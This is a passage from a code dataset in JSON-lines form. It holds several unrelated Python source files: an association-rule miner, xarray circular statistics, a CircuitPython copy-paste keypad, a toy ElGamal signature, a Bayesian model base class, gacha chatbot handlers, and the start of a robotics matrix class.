open('list.csv', 'w', newline='') as output_file:\n dict_writer = csv.DictWriter(output_file, keys)\n dict_writer.writeheader()\n dict_writer.writerows(list)","repo_name":"itsRajatkumar/PythonWebScraper","sub_path":"apiScraper.py","file_name":"apiScraper.py","file_ext":"py","file_size_in_byte":1459,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"20776380296","text":"def mineAssocRules(isets, n, min_support=2, min_confidence=0.5):\n rules = []\n visited = set()\n for key in sorted(isets, key=lambda k: len(k), reverse=True):\n support = isets[key]\n if support < min_support or len(key) < 2:\n continue\n\n for item in key:\n left = key.difference([item])\n right = frozenset([item])\n _mineAssocRules(\n left, right, support, visited, isets,\n min_support, min_confidence, rules, n)\n\n return rules\n\n\ndef _mineAssocRules(\n left, right, rule_support, visited, isets, min_support,\n min_confidence, rules, n):\n if (left, right) in visited or len(left) < 1:\n return\n else:\n visited.add((left, right))\n\n #antecedent (left) => consequent (right)\n support_a = isets[left]\n support_b = isets[right]\n\n confidence = float(rule_support) / float(support_a)\n lift = ( float(rule_support) / n ) / ( float(support_a) / n*float(support_b) / n )\n cosine = ( float(support_a) + float(support_b) ) / float(support_a) * float(support_b)\n \n if confidence >= min_confidence:\n rules.append((left, right, rule_support, confidence, lift, cosine))\n # We can try to increase right!\n for item in left:\n new_left = left.difference([item])\n new_right = right.union([item])\n _mineAssocRules(\n new_left, new_right, rule_support, visited, isets,\nmin_support, min_confidence, rules, n)","repo_name":"rafaelsandroni/data-mining-algorithms","sub_path":"FPGrowth/fprules.py","file_name":"fprules.py","file_ext":"py","file_size_in_byte":1507,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"12660316643","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#\n# Author: Dirk Eilander (contact: dirk.eilander@vu.nl) and Anais Couasnon (contact anais.couasnon@vu.nl)\n# Created: Nov 2nd 2018\n#\n# Xarray wrapper around astropy.stats.circstats functions \n\n# TODO: find a way to implement weights, both if weights == None, type(weights) == np.ndarray or type(weights) == xr.DataArray \n\nimport xarray as xr\nimport numpy as np\n\n__all__ = ['circ_mean', 'circ_var', 'circ_corr', 'rayleightest', 'angle_diff']\n\n# circular stats\ndef circ_mean(circ_data, dim='time'):\n \"\"\"Returns the mean of circular data [radian].\n \n Parameters\n ----------\n circ_data : xarray DataArray\n circular data [radian]\n dim : str, optional\n name of the core dimension (the default is 'time')\n \n Returns\n -------\n xarray DataArray\n circular mean\n \"\"\"\n # wrap numpy function\n theta = xr.apply_ufunc(_circmean, circ_data, #kwargs={'weights':weights}, \n input_core_dims=[[dim]], dask='parallelized', output_dtypes=[float])\n theta.name='theta'\n theta.attrs.update(unit='radian', description='circular mean')\n return theta\n\ndef circ_var(circ_data, dim='time'):\n \"\"\"Returns the variance of circular data [radian].\n \n Parameters\n ----------\n circ_data : xarray DataArray\n circular data [radian]\n dim : str, optional\n name of the core dimension (the default is 'time')\n \n Returns\n -------\n xarray DataArray\n circular variance\n \"\"\"\n circvar = xr.apply_ufunc(_circvar, circ_data, #kwargs={'weights':weights},\n input_core_dims=[[dim]], dask='parallelized', output_dtypes=[float])\n circvar.name='circ_var'\n circvar.attrs.update(unit='radian', description='circular variance')\n return circvar\n\ndef circ_corr(alpha, beta, dim='time'):\n \"\"\"Returns the circular correlation coefficient between two arrays of\n circular data. [radian]. \n \n Parameters\n ----------\n alpha : xarray DataArray\n circular data [radian]\n beta : xarray DataArray\n circular data [radian]\n dim : str, optional\n name of the core dimension (the default is 'time')\n \n Returns\n -------\n xarray DataArray\n circular correlation coefficient\n \"\"\"\n # wrap numpy function\n rho = xr.apply_ufunc(_circcorrcoef, alpha, beta, \n # kwargs={'weights_alpha':weights_alpha, 'weights_beta':weights_beta}, \n input_core_dims=[[dim], [dim]], dask='parallelized', output_dtypes=[float])\n rho.name = 'circ_corrcoef'\n rho.attrs.update(unit='-', description='circular correlation coefficient') \n return rho\n\ndef rayleightest(circ_data, dim='time'):\n \"\"\"Returns the p-value for the Rayleigh test of uniformity\n\n This test is used to identify a non-uniform distribution, i.e. it is\n designed for detecting an unimodal deviation from uniformity. More\n precisely, it assumes the following hypotheses:\n - H0 (null hypothesis): The population is distributed uniformly around the\n circle.\n - H1 (alternative hypothesis): The population is not distributed uniformly\n around the circle.\n\n Parameters\n ----------\n circ_data : xarray DataArray\n circular data [radian]\n weights : xarray DataArray, optional\n weights of the circular data (the default is None)\n dim : str, optional\n name of the core dimension (the default is 'time')\n \n Returns\n -------\n xarray DataArray\n p-value\n \"\"\"\n p_value = xr.apply_ufunc(_rayleightest, circ_data, #kwargs={'weights':weights},\n input_core_dims=[[dim]], dask='parallelized', output_dtypes=[float])\n p_value.name = 'rayleigh_p'\n p_value.attrs.update(unit='', description='p-value for rayleigh test of uniformity')\n return p_value\n\ndef angle_diff(rad1, rad2):\n \"\"\"Returns the smallest angle between two circular angles [rad]\n\n Parameters\n ----------\n rad1 : xarray DataArray\n circular data [radian]\n rad2 : xarray DataArray\n circular data [radian]\n \n Returns\n -------\n xarray DataArray\n p-value\n \"\"\"\n diff = xr.apply_ufunc(_angle_diff, rad1, rad2,\n dask='parallelized', output_dtypes=[float])\n diff.name = 'angle_diff'\n diff.attrs.update(unit='', description='smalles angle difference')\n return diff\n\n# utils\ndef _angle_diff(rad1, rad2):\n \"\"\"Returns the differences between two angles [radian]\"\"\"\n msg = \"circular doy should be in [-pi, pi] range\"\n assert (np.abs(rad1) <= np.pi).all() and (np.abs(rad2) <= np.pi).all(), msg\n # input circdata in range [-pi, pi]\n diff = rad2 - rad1\n abs_diff = np.abs(diff)\n # extract the smallest angle between two angles range [-pi, pi]\n diff = np.where(abs_diff>=np.pi, 2*np.pi-abs_diff, diff)\n return diff\n\n# numpy functions from https://github.com/astropy/astropy/blob/v3.0.x/astropy/stats/circstats.py\n# Copyright (c) 2011-2017, Astropy Developers\n# copied to avoid astropy dependecy\n# edits \n# -use nansum by default instead of sum\n# -default axis is set to -1\n# -added axis and newaxis where necessary to deal with ndarrays\n\ndef _components(data, p=1, phi=0.0, weights=None, axis=-1):\n \"\"\" Generalized rectangular components.\"\"\"\n if weights is None:\n weights = np.ones((1,))\n try:\n weights = np.broadcast_to(weights, data.shape)\n except ValueError:\n raise ValueError('Weights and data have inconsistent shape.')\n\n # nansum instead of sum\n C = np.nansum(weights * np.cos(p * (data - phi)), axis)/np.nansum(weights, axis)\n S = np.nansum(weights * np.sin(p * (data - phi)), axis)/np.nansum(weights, axis)\n\n return C, S\n\n\ndef _angle(data, p=1, phi=0.0, weights=None, axis=-1):\n \"\"\" Generalized sample mean angle.\"\"\"\n C, S = _components(data, p, phi, weights, axis)\n\n # theta will be an angle in the interval [-np.pi, np.pi)\n theta = np.arctan2(S, C)\n\n return theta\n\n\ndef _length(data, p=1, phi=0.0, weights=None, axis=-1):\n \"\"\" Generalized sample length.\"\"\"\n C, S = _components(data, p, phi, weights, axis)\n return np.hypot(S, C)\n\n\ndef _circmean(data, weights=None, axis=-1):\n \"\"\" Circular mean.\"\"\"\n return _angle(data, 1, 0.0, weights, axis)\n\n\ndef _circvar(data, weights=None, axis=-1):\n \"\"\" Circular variance.\"\"\"\n return 1.0 - _length(data, 1, 0.0, weights, axis)\n\n\ndef _circcorrcoef(alpha, beta, weights_alpha=None, weights_beta=None, axis=-1):\n \"\"\" Circular correlation coefficient.\n edited to deal with dimensions\"\"\"\n if(np.size(alpha, axis) != np.size(beta, axis)):\n raise ValueError(\"alpha and beta must be arrays of the same size\")\n\n mu_a = _circmean(alpha, weights_alpha, axis)\n mu_b = _circmean(beta, weights_beta, axis)\n\n # added newaxis to deal with multi dimensions\n sin_a = np.sin(alpha - mu_a[..., None]) \n sin_b = np.sin(beta - mu_b[..., None])\n\n # changed sum into nansum and added axis to deal with dimensions\n rho = np.nansum(sin_a*sin_b, axis=axis)/np.sqrt(np.nansum(sin_a**2, axis=axis)*np.nansum(sin_b**2, axis=axis))\n\n return rho\n\n\ndef _rayleightest(data, weights=None, axis=-1):\n \"\"\"Rayleigh test of uniformity.\"\"\"\n n = np.sum(np.isfinite(data), axis=axis) # changed in to count of finite values \n Rbar = _length(data, 1, 0.0, weights, axis)\n z = n*Rbar*Rbar\n\n # see original astropy script for references\n # adapted to to work for ndim array\n tmp = np.where(\n n < 50,\n 1. + (2.*z - z**2)/(4.*n) - (24.*z - 132.*z**2 + 76.*z**3 - 9.*z**4)/(288. * n**2),\n 1.\n )\n\n p_value = np.exp(-z)*tmp\n return p_value","repo_name":"DirkEilander/compound_hotspots","sub_path":"src/3-postprocess/circ_stats.py","file_name":"circ_stats.py","file_ext":"py","file_size_in_byte":7586,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"35864708753","text":"import board\nfrom digitalio import DigitalInOut, Pull\nfrom adafruit_debouncer import Debouncer\nimport usb_hid\nfrom adafruit_hid.keyboard import Keyboard\nfrom adafruit_hid.keycode import Keycode\n\nkpd = Keyboard(usb_hid.devices)\n\n# Choose the correct modifier key for Windows or Mac.\n# Comment one line and uncomment the other.\n# MODIFIER = Keycode.CONTROL # For Windows\nMODIFIER = Keycode.COMMAND # For Mac\n\n# define buttons\nNUM_KEYS = 4\nPINS = (\n board.GP0,\n board.GP1,\n board.GP2,\n board.GP3,\n)\n\nKEYMAP = (\n (\"Select all\", [MODIFIER, Keycode.A]),\n (\"Cut\", [MODIFIER, Keycode.X]),\n (\"Copy\", [MODIFIER, Keycode.C]),\n (\"Paste\", [MODIFIER, Keycode.V]),\n)\n\nkeys = []\nfor pin in PINS:\n dio = DigitalInOut(pin)\n dio.pull = Pull.UP\n keys.append(Debouncer(dio))\n\nprint(\"\\nWelcome to keypad\")\nprint(\"keymap:\")\nfor k in range(NUM_KEYS):\n print(\"\\t\", (KEYMAP[k][0]))\n\n\nwhile True:\n for i in range(NUM_KEYS):\n keys[i].update()\n if keys[i].fell:\n print(KEYMAP[i][0])\n kpd.send(*KEYMAP[i][1])\n","repo_name":"adafruit/Adafruit_Learning_System_Guides","sub_path":"Pico_Four_Keypad/code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":1056,"program_lang":"python","lang":"en","doc_type":"code","stars":913,"dataset":"github-code","pt":"5"} +{"seq_id":"23623863658","text":"# -*- coding: utf-8 -*-\n# Подписать сообщение цифровой подписью\n\nimport sys\nsys.path.append('../')\n\nfrom Utils.inversion import inverse\n\n\ndef get_sign(q, p, g, x, k):\n r = pow(g, k, p)\n s = ((q - x*r) * inverse(k, p - 1)) % (p - 1)\n return r, s\n\n\nif __name__ == '__main__':\n q, p, g = 3, 23, 5\n x, k = 7, 5\n print(get_sign(q, p, g, x, k))\n","repo_name":"margarita-v/Cryptology","sub_path":"El_Gamal/elgamal_sign.py","file_name":"elgamal_sign.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"ru","doc_type":"code","stars":4,"dataset":"github-code","pt":"5"} +{"seq_id":"13341282079","text":"from abc import ABC, abstractmethod\nfrom math import ceil\nfrom typing import Sequence\n\nimport arviz as az\nimport biom\nfrom cmdstanpy import CmdStanModel\nimport pandas as pd\nfrom patsy import dmatrix\n\nfrom .inference import fit_to_inference\n\n\nclass BaseModel(ABC):\n \"\"\"Base BIRDMAn model.\n\n :param table: Feature table (features x samples)\n :type table: biom.table.Table\n\n :param model_path: Filepath to Stan model\n :type model_path: str\n \"\"\"\n def __init__(\n self,\n table: biom.table.Table,\n model_path: str,\n ):\n self.sample_names = table.ids(axis=\"sample\")\n self.model_path = model_path\n self.sm = None\n self.fit = None\n\n self.dat = {\n \"D\": table.shape[0], # number of features\n \"N\": table.shape[1], # number of samples\n }\n\n self.specified = False\n\n def create_regression(self, formula: str, metadata: pd.DataFrame):\n \"\"\"Generate design matrix for count regression modeling.\n\n :param formula: Design formula to use in model\n :type formula: str\n\n :param metadata: Metadata for design matrix\n :type metadata: pd.DataFrame\n \"\"\"\n self.dmat = dmatrix(formula, metadata.loc[self.sample_names],\n return_type=\"dataframe\")\n self.colnames = self.dmat.columns\n\n param_dict = {\n \"p\": self.dmat.shape[1],\n \"x\": self.dmat.values,\n }\n self.add_parameters(param_dict)\n\n def compile_model(self):\n \"\"\"Compile Stan model.\"\"\"\n self.sm = CmdStanModel(stan_file=self.model_path)\n\n def specify_model(\n self,\n params: Sequence[str],\n coords: dict,\n dims: dict,\n include_observed_data: bool = False,\n posterior_predictive: str = None,\n log_likelihood: str = None,\n **kwargs,\n ):\n \"\"\"Specify coordinates and dimensions of model.\n\n :param params: Posterior fitted parameters to include\n :type params: Sequence[str]\n\n :param coords: Mapping of entries in dims to labels\n :type coords: dict\n\n :param dims: Dimensions of parameters in the model\n :type dims: dict\n\n :param include_observed_data: Whether to include the original feature\n table values into the ``arviz`` InferenceData object, default is\n False\n :type include_observed_data: bool\n\n :param posterior_predictive: Name of posterior predictive values from\n Stan model to include in ``arviz`` InferenceData object\n :type posterior_predictive: str, optional\n\n :param log_likelihood: Name of log likelihood values from Stan model\n to include in ``arviz`` InferenceData object\n :type log_likelihood: str, optional\n\n :param kwargs: Extra keyword arguments to save in specifications dict\n \"\"\"\n self.params = params\n self.coords = coords\n self.dims = dims\n self.include_observed_data = include_observed_data\n self.posterior_predictive = posterior_predictive\n self.log_likelihood = log_likelihood\n self.specifications = kwargs\n\n self.specified = True\n\n def add_parameters(self, param_dict: dict = None):\n \"\"\"Add parameters from dict to be passed to Stan.\"\"\"\n if param_dict is None:\n param_dict = dict()\n self.dat.update(param_dict)\n\n def fit_model(\n self,\n method: str = \"vi\",\n num_draws: int = 500,\n mcmc_warmup: int = None,\n mcmc_chains: int = 4,\n vi_iter: int = 1000,\n vi_grad_samples: int = 40,\n vi_require_converged: bool = False,\n seed: float = 42,\n mcmc_kwargs: dict = None,\n vi_kwargs: dict = None\n ):\n \"\"\"Fit BIRDMAn model.\n\n :param method: Method by which to fit model, either 'mcmc' (default)\n for Markov Chain Monte Carlo or 'vi' for Variational Inference\n :type method: str\n\n :param num_draws: Number of output draws to sample from the posterior,\n default is 500\n :type num_draws: int\n\n :param mcmc_warmup: Number of warmup iterations for MCMC sampling,\n default is the same as num_draws\n :type mcmc_warmup: int\n\n :param mcmc_chains: Number of Markov chains to use for sampling,\n default is 4\n :type mcmc_chains: int\n\n :param vi_iter: Number of ADVI iterations to use for VI, default is\n 1000\n :type vi_iter: int\n\n :param vi_grad_samples: Number of MC draws for computing the gradient,\n default is 40\n :type vi_grad_samples: int\n\n :param vi_require_converged: Whether or not to raise an error if Stan\n reports that “The algorithm may not have converged”, default is\n False\n :type vi_require_converged: bool\n\n :param seed: Random seed to use for sampling, default is 42\n :type seed: int\n\n :param mcmc_kwargs: kwargs to pass into CmdStanModel.sample\n\n :param vi_kwargs: kwargs to pass into CmdStanModel.variational\n \"\"\"\n if method == \"mcmc\":\n mcmc_kwargs = mcmc_kwargs or dict()\n mcmc_warmup = mcmc_warmup or mcmc_warmup\n\n self.num_chains = mcmc_chains\n self.num_draws = num_draws\n\n self.fit = self.sm.sample(\n chains=mcmc_chains,\n parallel_chains=mcmc_chains,\n data=self.dat,\n iter_warmup=mcmc_warmup,\n iter_sampling=num_draws,\n seed=seed,\n **mcmc_kwargs\n )\n elif method == \"vi\":\n vi_kwargs = vi_kwargs or dict()\n\n self.num_chains = 1\n self.num_draws = num_draws\n\n self.fit = self.sm.variational(\n data=self.dat,\n iter=vi_iter,\n output_samples=num_draws,\n grad_samples=vi_grad_samples,\n require_converged=vi_require_converged,\n seed=seed,\n **vi_kwargs\n )\n else:\n raise ValueError(\"method must be either 'mcmc' or 'vi'\")\n\n @abstractmethod\n def to_inference(self):\n \"\"\"Convert fitted model to az.InferenceData.\"\"\"\n\n def _check_fit_for_inf(self):\n if self.fit is None:\n raise ValueError(\"Model has not been fit!\")\n\n # if already Inference, just return\n if isinstance(self.fit, az.InferenceData):\n return self.fit\n\n if not self.specified:\n raise ValueError(\"Model has not been specified!\")\n\n\nclass TableModel(BaseModel):\n \"\"\"Fit a model on the entire table at once.\"\"\"\n def __init__(self, table: biom.Table, **kwargs):\n super().__init__(table=table, **kwargs)\n self.feature_names = table.ids(axis=\"observation\")\n self.add_parameters(\n {\"y\": table.matrix_data.todense().T.astype(int)}\n )\n\n def to_inference(self) -> az.InferenceData:\n \"\"\"Convert fitted Stan model into ``arviz`` InferenceData object.\n\n :returns: ``arviz`` InferenceData object with selected values\n :rtype: az.InferenceData\n \"\"\"\n self._check_fit_for_inf()\n\n inference = fit_to_inference(\n fit=self.fit,\n chains=self.num_chains,\n draws=self.num_draws,\n params=self.params,\n coords=self.coords,\n dims=self.dims,\n posterior_predictive=self.posterior_predictive,\n log_likelihood=self.log_likelihood,\n **self.specifications\n )\n\n if self.include_observed_data:\n obs = az.from_dict(\n observed_data={\"observed\": self.dat[\"y\"]},\n coords={\n \"tbl_sample\": self.sample_names,\n \"feature\": self.feature_names\n },\n dims={\n \"observed\": [\"tbl_sample\", \"feature\"]\n }\n )\n inference = az.concat(inference, obs)\n\n return inference\n\n\nclass SingleFeatureModel(BaseModel):\n \"\"\"Fit a model for a single feature.\"\"\"\n def __init__(self, table: biom.Table, feature_id: str, **kwargs):\n super().__init__(table=table, **kwargs)\n self.feature_id = feature_id\n values = table.data(\n id=feature_id,\n axis=\"observation\",\n dense=True\n ).astype(int)\n self.add_parameters({\"y\": values})\n\n def to_inference(self) -> az.InferenceData:\n \"\"\"Convert fitted Stan model into ``arviz`` InferenceData object.\n\n :returns: ``arviz`` InferenceData object with selected values\n :rtype: az.InferenceData\n \"\"\"\n self._check_fit_for_inf()\n\n inference = fit_to_inference(\n fit=self.fit,\n chains=self.num_chains,\n draws=self.num_draws,\n params=self.params,\n coords=self.coords,\n dims=self.dims,\n posterior_predictive=self.posterior_predictive,\n log_likelihood=self.log_likelihood,\n **self.specifications\n )\n\n if self.include_observed_data:\n obs = az.from_dict(\n observed_data={\"observed\": self.dat[\"y\"]},\n coords={\"tbl_sample\": self.sample_names},\n dims={\"observed\": [\"tbl_sample\"]}\n )\n inference = az.concat(inference, obs)\n return inference\n\n\nclass ModelIterator:\n \"\"\"Iterate through features in a table.\n\n This class is intended for those looking to parallelize model fitting\n across individual features rather than across Markov chains.\n\n :param table: Feature table (features x samples)\n :type table: biom.table.Table\n\n :param model: BIRDMAn model for each individual feature\n :type model: birdman.model_base.SingleFeatureModel\n\n :param num_chunks: Number of chunks to split table features. By default\n does not do any chunking.\n :type num_chunks: int\n\n :param kwargs: Keyword arguments to pass to each feature model\n \"\"\"\n def __init__(\n self,\n table: biom.Table,\n model: SingleFeatureModel,\n num_chunks: int = None,\n **kwargs\n ):\n self.feature_names = list(table.ids(axis=\"observation\"))\n self.size = table.shape[0]\n self.model_type = model\n self.num_chunks = num_chunks\n models = [model(table, fid, **kwargs) for fid in self.feature_names]\n\n if num_chunks is None:\n self.chunks = list(zip(self.feature_names, models))\n else:\n chunk_size = ceil(self.size / num_chunks)\n self.chunks = []\n for i in range(0, self.size, chunk_size):\n chunk_feature_names = self.feature_names[i: i+chunk_size]\n chunk_models = models[i: i+chunk_size]\n\n chunk = [\n (fid, _model) for fid, _model\n in zip(chunk_feature_names, chunk_models)\n ]\n self.chunks.append(chunk)\n\n def __iter__(self):\n return (chunk for chunk in self.chunks)\n\n def __getitem__(self, chunk_idx: int):\n return self.chunks[chunk_idx]\n\n def __len__(self):\n return self.num_chunks\n","repo_name":"biocore/BIRDMAn","sub_path":"birdman/model_base.py","file_name":"model_base.py","file_ext":"py","file_size_in_byte":11301,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"5"} +{"seq_id":"33411224127","text":"from nonebot import logger\nfrom nonebot.adapters.onebot.v11 import MessageSegment\nfrom nonebot.adapters.onebot.v11.event import MessageEvent\nfrom nonebot.adapters.onebot.v11 import Message\nfrom plugins.uma.plugins.uma_gacha.data_source import UmaGachaService\nfrom plugins.uma.plugins.uma_gacha.draw import draw\nfrom plugins.uma.uma_res_data import UMA_DATA\nfrom utils import pic2b64\nfrom PIL import Image\n\nfrom utils.CD_Checker import check_cd\nfrom .import gacha\n\ncheck_pick = UmaGachaService().on_command('查看马娘卡池','查看马娘卡池',priority=5)\n\n@check_pick.handle()\nasync def gacha_info(bot, event: MessageEvent):\n up_chara = UMA_DATA.pool_data_list[\"chara_id\"]\n if up_chara == 100101:\n msg = f'当前卡池无up角色'\n else:\n msg = f'当前卡池时间为\\n{UMA_DATA.pool_data_list[\"time\"]}\\n'\n msg += f'当前赛马娘卡池为\\n{UMA_DATA.pool_data_list[\"chara_pool_title\"]}'\n\n res = Image.open(UMA_DATA.up_chara_pool_img).convert('RGBA') .resize((480, 120))\n box = (30, 0, 400,120)\n img =res.crop(box) \n res=pic2b64(img)\n msg += f\"{MessageSegment.image(file =res ,cache=False,)}\"\n msg += f'当前支援卡卡池为\\n{UMA_DATA.pool_data_list[\"card_pool_title\"]}'\n res = Image.open(UMA_DATA.up_card_pool_img).convert('RGBA') .resize((480, 120))\n img =res.crop(box) \n res=pic2b64(img)\n msg += f\"{MessageSegment.image(file =res ,cache=False,)}\"\n\n await matcher.send(Message(msg))\n\n\n\n\n\n\n\n#单抽\nmatcher = UmaGachaService().on_command(\"马娘单抽\", \"马娘单抽\",aliases={\"uma gahca one\",\"来发马娘单抽\"}, priority=5)\n\n@matcher.handle()\nasync def handle_func(event: MessageEvent):\n await check_cd(matcher,event,__name__)\n up_chara=UMA_DATA.up_chara_id\n result = gacha.UMAGACHA.gacha_one(up_chara)\n res=draw.draw_one(result)\n res=pic2b64(res)\n await matcher.send(\n MessageSegment.image(file =res ,cache=False,),\n at_sender=True\n )\n\n#10连\nmatcher = UmaGachaService().on_command(\"马娘十连\",\"马娘十连\", aliases={\"马娘10连\",\"十连马娘\"}, priority=5)\n\n@matcher.handle()\nasync def handle_func(event: MessageEvent):\n await check_cd(matcher,event,__name__)\n up_chara=UMA_DATA.up_chara_id\n result = gacha.UMAGACHA.gacha_ten(up_chara)\n res=draw.draw_ten(result)\n res=pic2b64(res)\n await matcher.send(\n MessageSegment.image(file =res ,cache=False,),\n at_sender=True\n )\n\n#一井\nmatcher = UmaGachaService().on_command(\"马娘一井\",\"马娘一井\", aliases={\"马之井\",\"来一井马娘\"}, priority=5)\n\n@matcher.handle()\nasync def handle_func(event: MessageEvent):\n await check_cd(matcher,event,__name__,cdTime=60,displayCD=True)\n up_chara=UMA_DATA.up_chara_id\n print(up_chara)\n result =gacha.UMAGACHA.gacha_jing(up_chara)\n s3=len(result[0])\n s2=result[1]\n s1=result[2]\n up=0\n for one in result[0]:\n if one in up_chara:\n up= up+1\n meg = ''\n while len(result[0])>10:\n res=draw.draw_tenten(result[0][:10])\n res=pic2b64(res)\n meg += f\"{MessageSegment.image(file =res ,cache=False,)}\"\n del result[0][0: 10]\n if len(result[0])<=10:\n res=draw.draw_tenten(result[0])\n res=pic2b64(res)\n meg += f\"{MessageSegment.image(file =res ,cache=False,)}\" \n if s3 <= 0:\n meg = \"竟...竟然没有3★?!\\n\" \n msg = [\n f\"\\n✨The Favorite Star✨ {meg}\\n\",\n f\"★★★×{s3} ★★×{s2} ★×{s1}\"] \n if up == 0 and s3 == 0:\n msg.append(\"\\n😭太惨了,咱们还是退款删游吧...\")\n elif up == 0 and s3 > 7:\n msg.append(\"\\n😫😫😫up呢?我的up呢?\")\n elif up == 0 and s3 <= 3:\n msg.append(\"\\n😥这位酋长,梦幻包考虑一下?\")\n elif up == 0:\n if up_chara == 1000:\n msg.append('\\n抽到想要的角色了吗?')\n else:\n msg.append(\"\\n💫 据说天井的概率只有12.16% \")\n elif up == 3:\n msg.append(\"\\n🍀记忆碎片一大堆!您是托吧?🍀\")\n elif up >= 4:\n msg.append(\"\\n🥕抽井母五一气呵成!🥕\")\n elif s3 >= 10:\n msg.append(\"\\n🍧 欧皇寿命极短 🍧\")\n\n await matcher.send(\n msg,\n at_sender=True)\n\n\n\n#支援卡单抽\nmatcher = UmaGachaService().on_command(\"支援卡单抽\",\"支援卡单抽\" ,aliases={\"uma gahca support one\",\"来发支援卡单抽\"}, priority=5)\n\n@matcher.handle()\nasync def handle_func(event: MessageEvent): \n await check_cd(matcher,event,__name__) \n up_card=UMA_DATA.up_card_id\n result = gacha.SUPGACHA.gacha_one(up_card)\n print(result)\n #result=\"20013\"\n res=draw.draw_support_one(result)\n res=pic2b64(res)\n await matcher.send(\n MessageSegment.image(file =res ,cache=False,),\n at_sender=True\n )\n\n#10连\nmatcher = UmaGachaService().on_command(\"支援卡十连\",\"支援卡十连\", aliases={\"支援卡10连\",\"十连支援卡\"}, priority=5)\n\n@matcher.handle()\nasync def handle_func(event: MessageEvent):\n await check_cd(matcher,event,__name__) \n up_card=UMA_DATA.up_card_id\n result = gacha.SUPGACHA.gacha_ten(up_card)\n res=draw.draw_support_ten(result)\n res=pic2b64(res)\n await matcher.send(\n MessageSegment.image(file =res ,cache=False,),\n at_sender=True\n )\n\nmatcher = UmaGachaService().on_command(\"支援卡一井\",\"支援卡一井\", aliases={\"卡之井\",\"来一井支援卡\"}, priority=5)\n\n@matcher.handle()\nasync def handle_func(event: MessageEvent): \n await check_cd(matcher,event,__name__,cdTime=60,displayCD=True)\n up_card=UMA_DATA.up_card_id\n result = gacha.SUPGACHA.gacha_jing(up_card)\n s3=len(result[0])\n s2=result[1]\n s1=result[2]\n up=0\n for one in result[0]:\n if one in up_card:\n up= up+1\n meg = ''\n while len(result[0])>10:\n res=draw.draw_support_tenten(result[0][:10])\n res=pic2b64(res)\n meg += f\"{MessageSegment.image(file =res ,cache=False,)}\"\n del result[0][0: 10]\n if len(result[0])<=10:\n res=draw.draw_support_tenten(result[0])\n res=pic2b64(res)\n meg += f\"{MessageSegment.image(file =res ,cache=False,)}\" \n if s3 <= 0:\n meg = \"竟...竟然没有SSR?!\\n\"\n msg = [\n f\"\\n✨Support Card Gacha✨ {meg}\",\n f\"SSR×{s3} SR×{s2} R×{s1}\"] \n if up == 0 and s3 == 0:\n msg.append(\"\\n😭太惨了,咱们还是退款删游吧...\")\n elif up == 0 and s3 > 4:\n msg.append(\"\\n😫😫😫up呢?我的up呢?\")\n elif s3 <= 3:\n msg.append(\"\\n😥这位酋长,梦幻包考虑一下?\")\n elif up == 0:\n if up_card == 1000:\n msg.append('\\n抽到想要的卡了吗?')\n else:\n msg.append(\"\\n💫 据说天井的概率只有12.16% \")\n elif up == 3:\n msg.append(\"\\n🍩 还要不要继续抽呢?🍩\")\n elif up >= 4:\n msg.append(\"\\n🍀 出了好多up!🍀\")\n elif s3 >= 10:\n msg.append(\"\\n🍰 欧皇寿命极短 🍰\")\n \n await matcher.send(\n msg,\n at_sender=True)\n\n# Export something for other plugin\n# export = nonebot.export()\n# export.foo = \"bar\"\n\n# @export.xxx\n# def some_function():\n# pass\n\n","repo_name":"liangzimiao/miyubot","sub_path":"plugins/uma/plugins/uma_gacha/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":7302,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"12546664236","text":"#!/home/arturo/miniconda3/bin/env python3.4.2\n# -*- coding: utf-8 -*- \n# 2015 ARTURO SUELVES ALBERT (ARTURO.SUELVES@GMAIL.COM)\n# modulo sencillo PARA OPERAR MATRICES HOMOGENEAS Y DE ROTACION PARA ROBOTS.\n# VERSIoN:2.0\n# DATE: 12-12-2014\n# -----------------------------------------------------------------------------------------\nimport random\nfrom math import cos, sin ,sqrt\n\n\n__version__ = \"1.0\"\n__author__ = \"Arturo Suelves. Check for Python v3 \"\n__email__ = \"arturo.suelves@gmail.com\"\n \nclass RoboMatrixError(Exception):\n \"\"\" Exception class for RoboMatrix. \"\"\"\n pass\n\n#Class definition-----------------------------------------------------------\n#All instance methods in minus\nclass RoboMatrix(object):\n \"\"\" A simple Python matrix class with basic operations and operator \n overloading for homogenous matrix, homogenous vectors, rotation matrix and\n vectors, for use in Robotics.\n This module call all these matrix RoboMatrix.\"\"\"\n\n def __init__(self, m, n):\n \"\"\"4x4: Homogenous Matrix.\n 4x1 and 1x4: Homogenous Vectors.\n 3x3: Rotation Matrix.\n 3x1 and 1x3: Vectors.\"\"\"\n if ((m == n == 4) or (m == 4 and n==1) or (m == 3 and n == 3) or \n (m==1 and n==4) or (m ==3 and n ==1) or (m==1 and n ==3)):\n self.rows = [[0.0]*n for x in range(m)]\n self.m = m\n self.n = n\n else:\n raise RoboMatrixError(\"No matrix,vector or homogenous.\")\n \n def get_element(self,fila,columna):\n \"\"\"Get element fila x columna\"\"\"\n return (self.rows[fila-1][columna-1])\n def set_element(self,fila,columna,valor):\n \"\"\"Set value in element fila x columna.\"\"\"\n self.rows[fila-1][columna-1]=valor\n def about(self):\n \"\"\"Print information of the RoboMatrix (rows and comuns number,range.\"\"\"\n print('Information:\\n')\n print('Class:'+ str(self.__class__))\n print('Rows number: '+ str(self.m))\n print('Columns number: '+ str(self.n))\n print('Items number: '+ str(self.m * self.n))\n print('Matrix range: '+ str(self.get_range()))\n print(self)\n \n def __getitem__(self, idr):\n \"\"\"Get row of RoboMatrix.\"\"\"\n return self.rows[idr]\n\n def __setitem__(self, idr, valor):\n \"\"\"Set row in Robomatrix\"\"\"\n self.rows[idr] = valor\n \n def __str__(self):\n \"\"\"How to print RoboMatrix. \"\"\"\n maxlen = 0 \n for row in self.rows:\n for item in row:\n long=len(str(item))\n if long > maxlen:\n maxlen=long\n maxlen=maxlen+1\n s='\\n'.join([' '.join([str(item).rjust(maxlen) for item in row]) \n for row in self.rows])\n return s + '\\n'\n\n def 